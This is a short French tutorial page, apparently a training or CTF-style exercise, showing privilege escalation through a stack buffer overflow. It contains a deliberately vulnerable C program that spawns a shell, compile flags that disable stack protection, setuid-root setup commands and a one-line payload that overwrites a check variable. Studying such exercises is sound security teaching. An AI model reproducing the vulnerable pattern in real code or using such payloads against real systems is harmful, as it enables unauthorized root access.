Elévation de privilèges par buffer overflow

Code source

#include <stdlib.h>
#include <stdio.h>
 
int main()
{
  int var;
  int check = 0x04030201;
  char buf[40];
 
  fgets(buf,45,stdin);
 
  printf("\n[buf]: %s\n", buf);
  printf("[check] %p\n", check);
 
  if (check == 0xdeadbeef)
   {
     printf("Openning...\n");
     system("/bin/dash");
     printf("Close...\n");
   }
   return 0;
}

On le compile :

gcc -m32 -o programme code-source.c -fno-stack-protector

Admettons que le programme ait les droits suivants :

chown root.root programme
chmod +s programme

Il suffit alors de renseigner en stdin ceci :

cat <(python -c "print 'A' *40 + '\xef\xbe\xad\xde'") - | programme

Donner plus d'infos sur pourquoi ces caractères péciaux, le “-”, le cat, … Infos :

  • Dernière modification: 2017/09/14 00:42